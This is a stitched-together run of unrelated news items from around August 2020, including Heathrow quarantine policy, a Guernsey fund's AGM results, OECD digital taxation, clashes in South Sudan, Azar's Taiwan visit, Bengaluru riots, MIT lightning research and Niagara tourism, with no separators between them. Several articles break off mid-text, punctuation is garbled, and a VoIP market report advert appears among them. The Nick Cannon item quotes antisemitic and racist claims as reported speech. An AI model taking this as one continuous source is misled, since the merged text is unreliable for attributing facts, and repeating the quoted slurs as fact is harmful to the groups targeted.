Images) Heathrows management has urged the UK government to save jobs by replacing quarantine orders with testing at airports. Tens of thousands of jobs are being lost because Britain remains cut off from critical markets such as the U.S., Canada, and Singapore, Heathrow CEO John Holland-Kaye said in the statement. The government can save jobs by introducing testing to cut quarantine from higher risk countries, while keeping the public safe from a second wave of COVID. In July, over half of the passengers travelling through Heathrow (more than 480,000) went to European destinations that were deemed safe by the government, the company said. But due to fears of a second wave of infections in Europe, Britain has re-imposed quarantine on arrivals from Spain, Luxembourg, Belgium, and Andorra. The Bahamas, a popular holiday destination in the Caribbean, was also put on the quarantine list. Britain will not hesitate to add more countries to its quarantine list, said Finance Minister Rishi Sunak last Friday. Reuters contributed to this report. Acorn Income Fund Limited (The "Company") (a closed-ended investment company incorporated in Guernsey with registration number 34778) LEI:213800UAZN7G46AHQM67 ANNUAL GENERAL MEETING STATEMENT 11 August 2020 Further to the Annual General Meeting Notice dated 16 April 2020 (the "Notice") and sent to Members of the Company on 7 May 2020, the Annual General Meeting was held today and members voted in favour of Resolution 1 to 15. Details of the proxy voting results which should be read along side the Notice are noted below: Ordinary Resolution For Against Abstain 1 1,526,630 4,820 1,800 2 1,476,864 51,114 5,272 3 1,502,229 27,317 3,704 4 1,489,032 40,514 3,704 5 1,489,032 40,514 3,704 6 1,484,528 45,018 3,704 7 1,489,032 40,514 3,704 8 1,528,430 4,820 0 9 1,484,528 24,324 24,398 Special Business by Ordinary Resolution 10 1,486,688 37,139 9,423 11 1,493,504 26,619 13,127 Special Business by Special Resolution For Against Abstain 12 1,490,392 32,221 10,637 13 1,522,304 4,820 6,126 14 1,518,600 4,820 9,830 15 1,512,293 4,820 16,137 Note -A vote withheld is not a vote in law and has not been counted in the votes for and against a resolution. The Special Resolutions were as follows: Special Resolution 12 THAT the Directors be and are hereby empowered (pursuant to Resolution 10 or otherwise) to issue and sell from treasury up to 1,325,972 Ordinary Shares for cash otherwise than pro rata to existing Ordinary Members at: (i) a price equal to or greater than the prevailing Net Asset Value per Ordinary Share; or (ii) discount to the prevailing Net Asset Value per Ordinary Share in circumstances where ZDP Shares are issued at the same time at a premium to Net Asset Value such that the combined effect of the issue or sale of Ordinary Shares at a discount to the prevailing Net Asset Value per Ordinary Share and the issue of ZDP Shares at a premium to Net Asset Value is that (i) Net Asset Value per Ordinary Share is thereby increased; and (ii) gearing is not thereby increased, PROVIDED THAT the authority hereby conferred shall expire at the conclusion of the annual general meeting of the Company to be held in 2021 unless such authority is renewed, varied or revoked by the Company in general meeting (save that the Company may at any time before such expiry make an offer or agreement which might require Ordinary Shares to be issued or sold after such expiry and the Directors may issue or sell Ordinary Shares after such expiry in pursuance of such offer or agreement as if the authority conferred hereby had not expired). Special Resolution 13 THAT, the Company be generally and, subject as hereinafter appears, unconditionally authorised in accordance with section 315 of the Companies Law to make market acquisitions (within the meaning of section 316 of the Companies Law) of its issued Ordinary Shares, PROVIDED THAT: (i) the maximum aggregate number of Ordinary Shares hereby authorised to be purchased shall be 2,370,921 Ordinary Shares; (ii) the minimum price (exclusive of expenses) payable by the Company for each Ordinary Share shall be 0.01; (iii) the maximum price (exclusive of expenses) payable by the Company for each Ordinary Share shall be the higher of (a) an amount equal to 105% of the average value of an Ordinary Share for the five business days prior to the day the purchase is made and (b) the higher of the price of the last independent trade and the highest independent bid at the time of the purchase for any number of Ordinary Shares on the trading venue where the trade is carried out; (iv) the authority hereby conferred shall expire at the conclusion of the annual general meeting of the Company to be held in 2021 unless such authority is varied, revoked or renewed prior to such time; and (v) the Company may make a contract to purchase Ordinary Shares under the authority hereby conferred prior to the expiry of such authority which will or may be executed wholly or partly after the expiration of such authority and may make an acquisition of Ordinary Shares pursuant to any such contract. Special Resolution 14 THAT, the Company be generally and, subject as hereinafter appears, unconditionally authorised in accordance with section 315 of the Companies Law to make market acquisitions (within the meaning of section 316 of the Companies Law) of its issued ZDP Shares, PROVIDED THAT: (i) the maximum aggregate number of ZDP Shares hereby authorised to be purchased shall be 3,182,525 ZDP Shares; (ii) the minimum price (exclusive of expenses) payable by the Company for each ZDP Share shall be 0.01; (iii) the maximum price (exclusive of expenses) payable by the Company for each ZDP Share shall be the higher of (a) an amount equal to 105% of the average value of a ZDP Share for the five business days prior to the day the purchase is made and (b) the higher of the price of the last independent trade and the highest independent bid at the time of the purchase for any number of ZDP Shares on the trading venue where the trade is carried out; (iv) the authority hereby conferred shall expire at the conclusion of the annual general meeting of the Company to be held in 2021 unless such authority is varied, revoked or renewed prior to such time; and (v) the Company may make a contract to purchase ZDP Shares under the authority hereby conferred prior to the expiry of such authority which will or may be executed wholly or partly after the expiration of such authority and may make an acquisition of ZDP Shares pursuant to any such contract. Special Resolution 15 THAT, Article 37.2 of the Articles of Incorporation of the Company be deleted in its entirety and replaced with the following: "A Director in communication with one or more other Directors so that each Director participating in the communication can hear or read what is said or communicated by each of the others, is deemed to be present at a meeting with the other Directors so participating and, where a quorum is present, such meeting shall be treated as a validly held meeting of the Board and shall be deemed to have been held in the place where the chairman is present. Directors may participate in a meeting by means of video link, telephone conference call or other electronic or telephonic means of communication, provided the majority are not participating in a meeting from the United Kingdom." Enquiries: Company website: https://www.premierfunds.co.uk/acorn-income-fund-limited Northern Trust International Fund Administration Services (Guernsey) Limited Company Secretary Tel: +44 (0) 1481 745001 Email: NTIFASGL_Corporate_Secretarial@ntrs.com Taxing the Digital Economy: Has Corona Cancelled or Postponed the Global Tax Revolution- Posted by Publisher Internet The pressure was high from the outset when, with the finalisation of the BEPS Action Plan in Oct. 2015, the OECD simultaneously began to initiate a further and even more far-reaching project: an Inclusive Framework (IF) on the taxation of the digital economy, due for completion by the end of 2020. Pillar 1 ? New Nexus The fundamental problem of taxing the digital economy is that in the absence of classical physical connecting factors such as legal entities or permanent establishments, there is no taxing right in the market jurisdiction. Consequently, Pillar 1 proposes linking taxing rights to non-physical factors for businesses that are deemed to be consumer facing or highly digitalised, i.e. creating a new nexus. Once the nexus is met, a share of the resulting residual profit is deemed taxable in the market jurisdiction. After remunerating routine activities following the arm?s length principle, the residual profit is then allocated between the state of residence and the market jurisdiction using an apportionment formula. The formula should be based on factors such as estimated value contributions by the market jurisdiction, e.g. 10% of the EBIT exceeding 10% (10 over 10). Pillar 2 ? GloBE Pillar 2 is less focused on digitalisation but addresses more general BEPS issues within a Global Anti-Base Erosion Proposal ? GloBE. According to GloBE, taxing rights shall move to one country in case the other country ? and herein lies the crux ? has decided not to tax profits at all or is deemed to not tax sufficiently, effectively leading to both global minimum taxation and interference with fiscal sovereignty. From a tax technical perspective, minimum taxation should be achieved either within an add-back taxation (inclusion or switch-over rule) or by means of deduction restrictions (undertaxed payment or subject to tax rule). Concerns The public discussion so far criticizes that the approach lacks definitions and interpretations of terms and that it places a seemingly utopian basic trust in existing dispute resolution, say the Ecovis experts. For instance, what exactly does ?consumer facing? mean and how is it measured? Is it realistic that if one state regards the other?s tax regime as too low and is thus questioning its fiscal sovereignty, those states will reach a compromise on avoiding double taxation? And finally, there is the question of whether the only internationally recognised consensus in transfer pricing, the arm\-\-s length principle, should be abandoned in favour of shifting taxing rights? Not to mention new questions that will arise concerning tax bases and consolidation rules. In addition, it must also be asked whether and to what extent the Unified Approach can interact with other concepts for taxing the digital economy. France, for example, has introduced a digital tax (and immediately suspended it again) and there are also legislative procedures in Austria aimed at introducing one. Timing The proposed timing is tight and at the end of May, the answer to the introductory question is surprising. Despite all the possible pit falls, the OECD is working full steam on the project, preparing the plenary meeting scheduled for July 2020 in Berlin and expects the final report by the end of 2020. So, will international taxation be thrown into chaos on 1 January 2021? Absolutely not. Just as the publication of the BEPS final reports was not implemented overnight (and in some cases has not yet been), Ecovis comments that the final report only represents an intermediate milestone for the Inclusive Framework. It will take much longer for the proposed measures to be implemented nationally and, with the Corona Crisis in mind, probably much longer than expected. Just think of the money spent on emergency aid and economic stimuli. And these states should now give up taxing rights? Assessment and need for action At its core, the Unified Approach follows two emerging trends in international taxation. GloBE shows an intellectual affinity with the CCCTB, which has been discussed (and rejected multiple times) within the EU. Pillar 1, on the other hand, can be traced back to an idea that is already repeatedly found in the BEPS discussion papers: Taxing profits where they arise. The Unified Approach can therefore be seen as a guideline for the direction in which the international tax system will develop. Due to the still unclear roadmap and the lack of important decisions, there is currently no concrete need for action. Nevertheless, the Unified Approach should not be overlooked as it enjoys broad support within the G20 and the OECD and it will come ? even despite corona-related delays. The Ecovis experts recommend that the developments are monitored, sensitivity analyses are conducted in existing business and Transfer Pricing models at an early stage and changes anticipated when new models are introduced. Das Beratungsunternehmen Ecovis unterstutzt mittelstandische Unternehmen. In Deutschland zahlt es zu den Top 10 der Branche. In uber 100 deutschen Buros arbeiten fast 2.000 Mitarbeiterinnen und Mitarbeiter. Weltweit sind es fast 8.500 in nahezu 80 Landern. Ecovis betreut und berat Familienunternehmen, inhabergefuhrte Betriebe sowie Freiberufler und Privatpersonen. Um das wirtschaftliche Handeln seiner Mandanten nachhaltig zu sichern und zu fordern, bundelt Ecovis die nationale und internationale Fach- und Branchenexpertise aller Steuerberater, Wirtschaftsprufer, Rechtsanwalte und Unternehmensberater. Jede Ecovis-Kanzlei kann auf diesen Wissenspool zuruckgreifen. Daruber hinaus steht die Ecovis Akademie fur fundierte Ausbildung sowie fur kontinuierliche und aktuelle Weiterbildung. All dies gewahrleistet, dass die Beraterinnen und Berater ihre Mandanten vor Ort personlich gut beraten. www.ecovis.com 80 Killed in South Sudan Warrap State's Inter-Communal Fighting By Manyang David Mayar August 10, 2020 Witnesses say at least 80 people were killed and more than 90 others were injured in violent clashes involving soldiers and civilians in Warrap state's Tonj East County over the weekend as South Sudan troops began disarming civilians. Executive Director for Tonj East County Makuei Mabior told South Sudan in Focus an argument erupted between a small group of youths and soldiers in Romic Market after a soldier ordered a young man to remove a red piece of cloth from his head, a cloth commonly worn by cattle camp youth. "A small fight started. Bystanders rushed in and convinced them to stop and take the youth to the police but soon after that the soldiers cocked their guns and started shooting, killing the youth and other civilians in the market," Mabior told VOA. South Sudan Army spokesman Major General Lul Ruai Koang disputed that claim, saying the fighting actually involved armed youths who attacked a police post in an attempt to free their detained relatives. "On the night of August 8th, these armed civilians commonly known as Gelweng mobilized themselves in large numbers and in the morning attacked our defensive position at Romic, so that was the start of the fighting," Koang told South Sudan in Focus. Casualties were heavy on both sides, said Mabior "On the side of Gelweng youths, apart from those missing, we are getting 46 deaths, 93 wounded. The soldiers are 34," Mabior told VOA. Most civilians ran into the bush for safety, according to Mabior. Major General Koang said soldiers have withdrawn from the area in an attempt to end the fighting. "To minimize further escalation, our forces had to disengage and they have pulled back to a place called Ngab-Agok," Koang told VOA. Some local community leaders including Francis Aguek are calling on President Salva Kiir to punish "two generals who are carrying out the operation." Last week, the South Sudan National Network on Small Arms criticized the government's handling of the disarmament campaign, saying it includes no plan to prevent clashes between armed youths and soldiers. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. New Jersey, United States,- Market Research Intellect has added the latest research on the 'VoIP Services Market' which offers a concise outline of the market valuation, industry size, SWOT analysis, revenue approximation, and the regional outlook of this business vertical. The report precisely features the key opportunities and challenges faced by contenders of this industry and presents the existing competitive setting and corporate strategies enforced by the VoIP Services market players. The VoIP Services market report is an amalgamation of the key trends influencing the industry growth with respect to the competitive scenario and regions where the business has been successful. Furthermore, the study discusses the various restraints of the industry and uncovers the opportunities that will set the growth course. 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Reasons To Buy: Analyzing the outlook of the market with the recent trends and SWOT analysis Market dynamics scenario, along with growth opportunities of the market in the years to come Market segmentation analysis including qualitative and quantitative research incorporating the impact of economic and non-economic aspects Regional and country-level analysis integrating the demand and supply forces that are influencing the growth of the market. Market value (USD Million) and volume (Units Million) data for each segment and sub-segment Competitive landscape involving the market share of major players, along with the new projects and strategies adopted by players in the past five years Comprehensive company profiles covering the product offerings, key financial information, recent developments, SWOT analysis, and strategies employed by the major market players Purchase report with Analysis of COVID-19 @ https://www.marketresearchintellect.com/checkout/?buyreport=392705&utm_source=BLN&utm_medium=888 About Us: Market Research Intellect provides syndicated and customized research reports to clients from various industries and organizations with the aim of delivering functional expertise. We provide reports for all industries including Energy, Technology, Manufacturing and Construction, Chemicals and Materials, Food and Beverage, and more. These reports deliver an in-depth study of the market with industry analysis, the market value for regions and countries, and trends that are pertinent to the industry. Contact Us: Mr. Steven Fernandes Market Research Intellect New Jersey ( USA ) Tel: +1-650-781-4080 The UN said the violence was sparked by a disarmament exercise that is part of the countrys recent peace agreement. At least 70 people have been killed and dozens wounded during weekend clashes between South Sudans army and armed civilians in the north-central Warrap state, according to the United Nations. UN spokesman Stephane Dujarric said on Tuesday the world bodys peacekeeping mission in South Sudan reported that the violence was sparked by a disagreement over a disarmament exercise being conducted in the area. The disarmament of civilians is part of the most recent peace agreement signed between South Sudanese President Salva Kiir and rival Riek Machar, who was appointed vice president in February. South Sudan declared independence from Sudan in 2011, but it was plunged into a ruinous civil war two years later when Kiir, an ethnic Dinka, fired his deputy, Riek Machar, a member of the rival Nuer community. James Mabior Makuei, the councillor of Tonj East County in Warrap State, told dpa news agency that most recently violence began when civilians refused to hand over their guns to soldiers at a market in Tonj East on Sunday. A number of bystanders joined in the fighting that ensued. The violence quickly spread to nearby villages, with armed civilians attacking an army base in the nearby town of Romich on Monday morning, according to army spokesman Lul Ruai Koang. Dujarric said a market in Romich was reportedly looted and some shops were burned to the ground Many women and children fled in fear of their lives. He said a UN peacekeeping patrol was heading to the area to assess the security situation. The UN peacekeeping mission is urging all those involved in the violence to lay down their weapons and to help restore calm for the sake of their communities, Dujarric said. He added the mission is engaging political and community leaders and will support local reconciliation and peace-building efforts to prevent further conflict. U.S. health secretary, President Tsai hold historic meeting ROC Central News Agency 08/10/2020 02:52 PM Taipei, Aug. 10 (CNA) United States Secretary of Health and Human Services (HHS) Alex Azar met with Taiwan President Tsai Ing-wen () on Monday, in the highest-level official meeting between the two countries since 1979, when the U.S. switched diplomatic recognition from Taipei to Beijing. Azar, who arrived in Taiwan with a delegation on Sunday, paid a call on Tsai at the Presidential Office, which was open to the media, and they later held a closed-door meeting. "It is a true honor to be here to convey a message of strong support and friendship from President Trump to Taiwan," Azar said at the Presidential Office during the courtesy call, which was streamed live on several social media platforms. Azar said the U.S. has expressed its admiration for Taiwan's democratic success in tangible ways, such as signing legislation to strengthen the bilateral partnership and opening a new office for the American Institute in Taiwan (AIT) in 2018. An attorney and former pharmaceutical industry executive, Azar said the focus of his trip is to highlight Taiwan's success in combating the COVID-19 pandemic and to build cooperation to prevent, detect, and respond to health threats. On Tsai's part, she said she hoped the U.S. delegation's visits to the relevant agencies and institutions will give them a substantive view of Taiwan's efforts to contain the COVID-19 outbreak. "The visit also provides us an opportunity to speak face-to-face on issues of importance to both sides and find a direction to future cooperation," Tsai added. The president said she was anticipating significant progress on the joint efforts between Taiwan and the U.S. to develop and produce COVOD-19 vaccines and drugs. She also thanked the U.S. for recognizing Taiwan's contribution to the global coronavirus response and for supporting Taiwan's efforts to expand its international participation. She raised the issue of Taiwan's exclusion from the World Health Assembly (WHA), which has been due largely to objections by China, which sees Taiwan as part of its territory. "I would like to reiterate that political considerations should never take precedence over the right to health," she said. "The decision to bar Taiwan from participation in the WHA is a violation of the universal right to health." Azar is in Taiwan on a four-day visit, the first by a U.S. Cabinet member in six years, and he is the most senior U.S. government official to visit Taiwan since the U.S. severed official bilateral relations in 1979. The high-profile visit, seen by Taiwan as a huge gain in its ties with the U.S., may however strain the already tense relations between Beijing and Washington. At a press briefing prior to the courtesy call on Tsai, Azar told reporters that "this visit is about Taiwan," in response to questions about the trilateral relations. "This visit is about reaffirming our connections with Taiwan and the important role Taiwan plays in public health," he said. In his opening statement at the press briefing, Azar said that his visit is "consistent with the U.S.' long-standing 'one China' policy and past engagement with Taiwan." Meanwhile, Johnny Chiang (), chairman of Taiwan's major opposition Kuomintang, told reporters on a separate occasion Monday that the Tsai administration should be careful in its handling of external affairs, particularly in light of the deteriorating relations between the U.S. and China. (By Emerson Lim) Enditem/pc NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Nearly two months after the Galwan Valley incident, the Line of Actual Control (LAC) in Eastern Ladakh continues to be a high tension area. The Indian armed forces have prepared for a long haul in the region as there are reports that China's People Liberation Army has transgressed into Indian territory in Eastern Ladakh. Deployments have been made to deal with the situation, top military brass headed by Chief of Defence Staff Gen Bipin Rawat told a parliamentary panel. Among the top army brass was Army Vice Chief who informed the parliamentary panel that efforts are being made to rebuild trust with China's PLA, according to India Today. The Chinese army has been amassing heavy troops with armoured regiments and long-range weaponry since May this year. The military brass also informed the panel that the Indian forces are ready for any eventuality along the LAC in Ladakh. The army has been deploying and preparing for the harsh winter ahead, according to the news site. The Indian Army and China's PLA have been engaged in a confrontation since April. At the start of the conflict, the Chinese in the garb of an exercise in the Xinjiang province on its side of the Line of Actual Control rushed troops towards the Indian front to transgress into Indian territories there. The PLA has been stepping inside Indian areas in Finger area and several other friction points along the LAC. It has refused to disengage from these areas since mid-July heightening the tension between the two opposing armies. India and China have also held five rounds of Corps Commander level talks but they have not been able to find any solution to change the actual ground position in many areas.Also Read: India should have coronavirus vaccine by December, says Adar Poonawalla Also Read: Coronavirus crisis: PM Modi holds virtual meeting with CMs of 10 states; key highlights Bengaluru, Aug 12 : Violent protests broke out in eastern Bengaluru late on Tuesday night over a "derogatory message' posted by a politician's relative on social media. A mob gathered outside Congress legislator Akanda Srinivas Murthy's house where they shouted slogans against the post and also resorted to arson. The mob was demanding the arrest of Naveen, who is related to Murthy and rioted in DJ Halli, KG Halli and Pulakeshi Nagar. Murthy, the legislator from Pulikeshi Nagar, posted a video on social media asking the mob to stop the agitation. "Please don't resort to violence over the mischievous work of some miscreants," appealed Murthy. A large mob was also seen opposite KG Halli police station in the city. The mob chanted religious slogans even as some members from the same community tried to calm down the mob. 'Mat karo', said one of the persons who tried to calm down the mob as many mask-wearing protesters came out into the streets. Meanwhile, to control and disperse the mob, policemen in riot gear were deployed and baton-charged protesters who resorted to arson and also overturned the police vehicle. City Police Commissioner Kamal Pant visited the riot-hit areas where a heavy police presence has been deployed, an official said on Wednesday. "Unfortunate incidents have occurred in localities like DJ Halli and KG Halli. Police carried out a baton charge to bring the situation under control," said a police official adding strict action will be taken against guilty. State home minister Basavaraj Bommai has also warned of strict action against those who take law into their hands. Meanwhile, police mistook a couple of journalists as rioters and hit them with the baton. "Your police hit my head with a baton even though we kept yelling we are reporters," complained a television journalist to the police commissioner. Another journalist who went to cover the riot was hit in the back. "We had to run from your police to save ourselves when there was no mob present," said the injured journalist whose head was seen bleeding. Meanwhile, several videos of the riot and arson went viral. -- The story has been published from a wire feed without any modifications to the text CAMBRIDGE, MA -- At the height of a thunderstorm, the tips of cell towers, telephone poles, and other tall, electrically conductive structures can spontaneously emit a flash of blue light. This electric glow, known as a corona discharge, is produced when the air surrounding a conductive object is briefly ionized by an electrically charged environment. For centuries, sailors observed corona discharges at the tips of ship masts during storms at sea. They coined the phenomenon St. Elmo's fire, after the patron saint of sailors. Scientists have found that a corona discharge can strengthen in windy conditions, glowing more brightly as the wind further electrifies the air. This wind-induced intensification has been observed mostly in electrically grounded structures, such as trees and towers. Now aerospace engineers at MIT have found that wind has an opposite effect on ungrounded objects, such as airplanes and some wind turbine blades. In some of the last experiments performed in MIT's Wright Brothers Wind Tunnel before it was dismantled in 2019, the researchers exposed an electrically ungrounded model of an airplane wing to increasingly strong wind gusts. They found that the stronger the wind, the weaker the corona discharge, and the dimmer the glow that was produced. The team's results were first published in the Journal of Geophysical Research: Atmospheres on July 28. The study's lead author is Carmen Guerra-Garcia, an assistant professor of aeronautics and astronautics at MIT. Her co-authors at MIT are Ngoc Cuong Nguyen, a senior research scientist; Theodore Mouratidis, a graduate student; and Manuel Martinez-Sanchez, a post-tenure professor of aeronautics and astronautics. Electric friction Within a storm cloud, friction can build up to produce extra electrons, creating an electric field that can reach all the way to the ground. If that field is strong enough, it can break apart surrounding air molecules, turning neutral air into a charged gas, or plasma. This process most often occurs around sharp, conductive objects such as cell towers and wing tips, as these pointed structures tend to concentrate the electric field in a way that electrons are pulled from surrounding air molecules toward the pointed structures, leaving behind a veil of positively charged plasma immediately around the sharp object. Once a plasma has formed, the molecules within it can begin to glow via the process of corona discharge, where excess electrons in the electric field ping-pong against the molecules, knocking them into excited states. In order to come down from those excited states, the molecules emit a photon of energy, at a wavelength that, for oxygen and nitrogen, corresponds to the characteristic blueish glow of St. Elmo's fire. In previous laboratory experiments, scientists found that this glow, and the energy of a corona discharge, can strengthen in the presence of wind. A strong gust can essentially blow away the positively charged ions, that were locally shielding the electric field and reducing its effect -- making it easier for electrons to trigger a stronger, brighter glow. These experiments were mostly carried out with electrically grounded structures, and the MIT team wondered whether wind would have the same strengthening effect on a corona discharge that was produced around a sharp, ungrounded object, such as an airplane wing. To test this idea, they fabricated a simple wing structure out of wood and wrapped the wing in foil to make it electrically conductive. Rather than try to produce an ambient electric field similar to what would be generated in a thunderstorm, the team studied an alternative configuration in which the corona discharge was generated in a metal wire running parallel to the length of the wing, and connecting a small high-voltage power source between wire and wing. They fastened the wing to a pedestal made from an insulating material that, because of its nonconductive nature, essentially made the wing itself electrically suspended, or ungrounded. The team placed the entire setup in MIT's Wright Brothers Wind Tunnel, and subjected it to increasingly higher velocities of wind, up to 50 meters per second, as they also varied the amount of voltage that they applied to the wire. During these tests, they measured the amount of electrical charge building up in the wing, the current of the corona and also used an ultraviolet-sensitive camera to observe the brightness of the corona discharge on the wire. In the end, they found that the strength of the corona discharge and its resulting brightness decreased as the wind increased -- a surprising and opposite effect from what scientists have seen for wind acting on grounded structures. Pulled against the wind The team developed numerical simulations to try and explain the effect, and found that, for ungrounded structures, the process is largely similar to what happens with grounded objects -- but with something extra. In both cases, the wind is blowing away the positive ions generated by the corona, leaving behind a stronger field in the surrounding air. For ungrounded structures, however, because they are electrically isolated, they become more negatively charged. This results in a weakening of the positive corona discharge. The amount of negative charge that the wing retains is set by the competing effects of positive ions blown by the wind and those attracted and pulled back as a result of the negative excursion. This secondary effect, the researchers found, acts to weaken the local electric field, as well as the corona discharge's electric glow. "The corona discharge is the first stage of lightning in general," Guerra-Garcia says. "How corona discharge behaves is important and kind of sets the stage for what could happen next in terms of electrification." In flight, aircraft such as planes and helicopters inherently produce wind, and a glow corona system like the one tested in the wind tunnel could actually be used to control the electrical charge of the vehicle. Connecting to some prior work by the team, she and her colleagues previously showed that if a plane could be negatively charged, in a controlled fashion, the plane's risk of being struck by lightning could be reduced. The new results show that charging of an aircraft in flight to negative values can be achieved using a controlled positive corona discharge. ''The exciting thing about this study is that, while trying to demonstrate that the electrical charge of an aircraft can be controlled using a corona discharge, we actually discovered that classical theories of corona discharge in wind do not apply for airborne platforms, that are electrically isolated from their environment," Guerra-Garcia says. "Electrical breakdown occurring in aircraft really presents some unique features that do not allow the direct extrapolation from ground studies." ### This research was funded, in part, by The Boeing Company, through the Strategic Universities for Boeing Research and Technology Program. Loan Origination Challenges Today Recent analyst reports suggest that loan origination accounts for 40% of total mortgage lending costs and that 70% of mortgage lenders are compromising sensitive financial information through risky sharing practices. Both lead to revenue loss and a poor borrower experience. Automated loan processing and underwriting are not new concepts in the banking and financial services industry. In the mortgage industry, brokers and lenders struggle with a constant pressure to: Reduce the average sales cycle Increase pull through rates Improve loan approval rates Minimize loan fallout and abandonment rates Lower the overall cost of acquisition. In pursuit of these golden metrics, mortgage lenders have adopted solutions to digitize parts of the loan life cycle. However, not all digital solutions may seamlessly integrate into the loan document process. Some lack end-to-end automation and the cognitive capabilities to handle ambiguous credit information, causing them to end up differing a large chunk of cases to loan officers, which is ultimately ineffective and inefficient. Janice Thomson hopes August will be the turnaround month for Niagaras tourism industry. As Statistics Canada takes its regular mid-month measure of the local employment scene, Niagara will have been about four weeks into its Stage 3 economic recovery. Full-service restaurants, albeit with limited seating. More tourists visiting as temperatures have soared day after day. And hopefully, more people returning to work. Last time StatsCan collected its data was mid-July, just as Niagara was easing into Stage 3. That report, released last week, showed 12.3 per cent unemployment region-wide. When August stats are released, hopes Thomson, president of Niagara Falls Tourism, the picture will be brighter and show more people employed. I would anticipate that you would see an improvement certainly (in August), based on the fact business has gone up, she said. Last weeks StatsCan report demonstrated again how devastating COVID-19 has been to Niagaras tourism industry. It showed that in July only 14,800 people were employed in the accommodations and food services industry across Niagara. On the downside, that was 10,000 fewer than in July 2019. On the upside, it was 1,700 more than in June. Meanwhile, the U.S.-Canada border remains closed. We know how many people work in tourism in this area, and we know what the draconian impact was initially when people had to be laid off, Thomson said. It didnt surprise me. It has to be a gradual return, based on business needs. Information from Niagara Regions economic development department, meanwhile, shows the impact on Niagaras hotel industry, especially Niagara Falls where 16,000 of the regions 21,000 hotel rooms are located. Between January and May each year from 2016 through 2019, hotel occupancy in Niagara Falls hovered in the 53 per cent range. This year it dropped to just under 23 per cent during those five months. Revenue per available room fell even more sharply, to $25.30 this year compared to $70.79 in 2019, and the average nightly rate was $99, about $30 less than other years. Stage 3 certainly did make a difference in helping businesses recoup some of the revenue lost in previous months due to the pandemic shutdown, Thomson said. She said the fact Niagaras COVID-19 case count has remained low is another factor working in the tourism industrys favour as it recovers. Every step has been an improvement for Niagara, echoed Anthony Annunziata, president of Tourism Niagara Partnership. If people feel safe visiting the region, he said, then theres no doubt that August will be better than July and September will improve as well. Last month, Niagara Falls was widely criticized on social media after a video posted online showed large crowds on Clifton Hill with few people practising social distancing or wearing masks. The tourism community responded by assigning volunteer ambassadors to the area, offering masks and reminding people to keep a safe distance apart from each other. Annunziata said he doesnt believe those images scared many tourists away, adding Niagara has placed a premium on putting people first. I think if we stick to that narrative, that Niagara will always put people first, then I think the recovery for Niagara bodes well. Both he and Thomson pointed to an increase in the number of visitors staying overnight as a sign of confidence. Some hotels have been at capacity, particularly on the weekends, said Thomson. And thats a reflection of people wanting to get in that traditional holiday that theyve missed out on. She pointed to public health restrictions some businesses still work under, such as limited seating inside restaurants, as one reason employment remains low. She said some businesses are still calling workers back. And in certain parts of the industry (including hotels and attractions), there is a shortage of staff, a shortage of people to come back, she said. Nick Cannon has claimed his great-grandfather was a 'Spanish rabbi' and that he only learned about him after he was fired from ViacomCBS last month for making anti-Semitic remarks which, he now says, 'hit home in a real way' for his 'Jewish' family. The comedian was fired last month over a podcast in which he said black people are true Hebrews and that Jews have usurped their identity. He also said black people couldn't be 'anti-Semitic' because 'we are the Semitic people', and he referred to white people as 'evil, rapists and savages'. After being fired, Cannon lashed out at ViacomCBS, saying they were on the 'wrong side of history'. He later apologized and is now trying to make up for the offense he caused. On Monday, he appeared on the American Jewish Committees online program, AJC Advocacy Anywhere, where he apologized again and said he'd learned since making the comments that his family is Jewish. 'My mother has been calling me every single day since this happened with so much family history. My great-grandfather was a Spanish rabbi. Hes a Sephardic Jewish man. 'So, as much heat as Ive been catching from the public and the outside, this hit home for my family in a real way because I come from a Black and Jewish family on my mothers side,' he said. On Monday, Cannon was interviewed on the American Jewish Committee's online program by Rabbi Noam Marans. During their interview, he said he came from a 'black and Jewish family' Cannon with his mother, Beth Gardner, and father, James Cannon. He said his mother told him about their family history after he made the remarks in June He went on to say he didn't want to reveal the family history immediately because he did not want to look as though he was making an 'excuse'. Cannon also said that while he knew he'd hurt people with his comments and even with his apology, he demonstrated he was someone 'of true character' by saying sorry. 'A lot of people may have been upset that I apologized, but I feel like thats what someone of true character is actually supposed to do when they hurt someone,. 'Now, lets get through this process of truth and reconciliation,' he said. Cannon has spoken in the past about being raised predominantly by his paternal grandfather, James Cannon Sr, in San Diego. He is close with his parents - Beth Gardner and James Cannon - but little is known publicly of Beth's family history. Cannon made the offending remarks on June 30 during an episode of his podcast, 'Cannon's Class', where he was interviewing former Public Enemy member Richard 'Professor Griff' Griffin, who was kicked out of the rap group in 1989 for saying Jews were 'wicked'. The two discussed the controversial racial ideology of the Black Hebrew Israelites - claiming that 'Semitic' people had nothing to do with being white and that the term 'anti-Semitic' is only used to 'divide' people. Rabbi Noam Marans, who was interviewing Cannon, said Jewish people are 'the most attacked people on the basis of faith, and Black people are 'the most attacked people on the basis of race.' On June 30, Cannon was interviewing former Public Enemy member Richard 'Professor Griff' Griffin when the pair made a series of anti-Semitic remarks Cannon with ex-wife Mariah Carey and their two children, Monroe and Moroccan Cannon also delved deep into anti-Semitic tropes - ranting about history 'going as deep as the Rothschilds, centralized banking, the 13 families, the bloodlines that control everything even outside of America.' Charlamagne Tha God backed Cannon and said his firing proved 'Jews have all the power' During the hour-plus podcast, Cannon then moved onto a wider discussion on race saying white people of the past were 'savages' and 'barbaric' because they lacked the 'compassion' that comes with melanin or skin pigmentation. 'And I'm going to say this carefully...,' he said before claiming that people who do not have melanin are a 'little less'. 'They're acting out of fear, they're acting out of low self-esteem, they're acting out of a deficiency,' he said. 'So, therefore, the only way that they can act is evil. They have to rob, steal, rape, kill in order to survive.' 'They're the ones that are actually closer to animals, they're the ones that are actually the true savages,' Cannon said, adding that he was referring to 'Jewish people, white people, Europeans,' among others. Cannon won support from some after he made the remarks. Among them was Diddy who invited him to his TV network He was admonished for the remarks by some, but received support from others. Diddy offered Cannon a spot at his Revolt TV network on Wednesday, inviting him to 'come home' to a 'truly black-owned' media company. Charlamagne tha God, left, weighed in on the controversy on Wednesday, saying Nick Cannon's firing proved 'Jews have the power'. Dwyane Wade also tweeted his support for Cannon, but later took down the post after he was criticized for backing his controversial remarks. 'We are with you, keep leading!' he said in the now-deleted tweet. (TNS) - A new report quantifies what many North Carolina residents already know: They have faced a lot of hurricanes over the past decade reinforced most recently by last week's Hurricane Isaias.The report is by the ValuePenguin financial advice website. It states that from 2010 through 2019, Brunswick County on the southern North Carolina coast and Dare and Hyde counties along the state's 